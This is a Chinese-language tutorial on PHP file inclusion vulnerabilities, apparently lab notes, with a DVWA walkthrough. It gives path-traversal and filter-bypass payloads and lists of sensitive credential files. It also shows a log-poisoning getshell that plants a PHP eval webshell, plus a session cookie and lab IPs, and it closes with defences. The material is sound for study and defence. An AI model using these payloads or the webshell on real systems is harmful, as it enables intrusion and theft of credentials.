文件包含
文件包含漏洞
概述
分类
本地文件包含
只能包含本地服务器上存在的文件。
- 用户对输入可控且无过滤
- 可以利用相对路径或绝对路径读取系统敏感文件
远程文件包含
包含远程服务器上的文件。
需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如: 攻击者搭建的一个Web服务器)的文件。
allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件
远程与本地包含的区别
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严 格的过滤,允许遍历目录的字符注入浏览器并执行。靶机
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开 放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不 同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。靶机之外
本地文件包含与远程文件有着相同的原理,但前者只能包含本地服务器上存在的文件,而后者可以包含 远程服务器上的文件。
PHP中文件包含函数有以下四种
require()
include()
require_once()
include_once()
include和require区别
主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常 运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适 用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重 定义,变量重新赋值等问题。
URL中如果出现了如下内容就可能存在文件包含漏洞
?page=
?file=
?home=
常见的敏感信息路径
windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MYSQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
如何发现文件包含漏洞
1、观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能 存在文件包含漏洞;
2、可以观察在URL中,出现的赋值参数等号后跟的信息,是否为一个文件,如果是,则可能存在文件 包含漏洞;
3、在关键字处或明显被文件赋值的参数处,尝试进行赋值,如:https://www.baidu.com;或系统常 见文件,如:/etc/passwd(Linux)
4、配合文件上传漏洞进行验证
DVWA演示
LOW
不同难度下的界面都是相同的,可以注意到有file1.php,file2.php,file3.php三个文件。
任意点击其中一个文件如file1.php,地址栏的page=include.php就会相应变为page=file1.php,即利 用GET的方法来获取服务器中的php文件。
源码分析得出:直接通过get去传递page参数进行文件包含,没有任何过滤。
尝试获取服务器上的文件内容,输入 ../../../../../../(多少个../都行,越多越好)/etc/passwd
../ 返回上级目录,当返回到根目录时候再../还是根目录,然后直接访问Linux系统的passwd文件 也可以尝试包含php.ini,可以看到,现在的页面是在 vulnerabilities/fi/file1.php,如果想要访问 php.ini需要回退两次,可以输入../../php.ini
str_replace函数绕过 (Medium)
page=..././..././..././..././..././etc/passwd
fnmatch() 函数绕过(High)
fnmatch() 函数根据指定的模式来匹配文件名或字符串
语法:
fnmatch(pattern,string,flags)
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或文件。
flags 可选。
限制了page参数的开头必须是file,但是可以用file://协议进行文件读取从而实现绕过
page=file:///etc/passwd
Impossible
远程文件包含
远程文件包含是指包含非被攻击机器上的文件。
此处我们使用dvwa的文件包含漏洞包含 upload-labs 中的文件;
dvwa ip: http://43.136.41.84:8080 php5.6.30
upload-labs ip:http://43.136.41.84:8082/ php5.5.38
要求解析文件靶机解析
5.6.30
此方法不妥,没有本地解析文件
page参数改为远程服务器的文件地址;此处注意包含的远程文件不能为php文件,否则不是在dvwa机 器上执行
访问 dvwa 的文件包含漏洞,此处我们使用的是 Low 级别
文件包含getshell
中间件日志包含绕过
DVWA中,apache2日志文件路径为: /var/log/apache2/access.log 包含日志文件,需要先对文件和目录添加权限,让web端有权限去访问:
root@c1f28c3146d7:/var/log# chmod 755 /var/log/apache2
root@c1f28c3146d7:/var/log/apache2# chmod 644 access.log
http://43.136.41.84:8080/vulnerabilities/fi/?page=/var/log/apache2/access.log
http://43.136.41.84:8080/vulnerabilities/fi/?page=<?php phpinfo();?>
因浏览器会进行url编码,使用burp抓包进行修改,将编码字符改为原字符
之后使用同样的方式写入一句话木马 后,用蚁剑进行连接 用蚁剑连接时需要加上cookie
<?php eval(@$_POST['a']);?>
cookie
BEEFHOOK=N5NNzEX47qP5XITUWuTL16iwNYnyzQ09PvdhestffmVmd1pocrMxDnYTDTghr5ng9lnCcfN1swyDrbcF; PHPSESSID=ll81k6dtess7mue9fnge6jpbp2; security=low
配合文件上传getshell
思路:
- 把代码+图片合在一起,最终看到还是一个图片,只是这个图片中有代码
- 上传一个带有代码的jpg图片
- 以文件包含漏洞来执行图片的php代码
文件包含漏洞防御
1、设置白名单(文件名可以确定)
2、过滤危险字符(判断文件名称是否为合法的php文件)
3、设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目 录)
4、关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)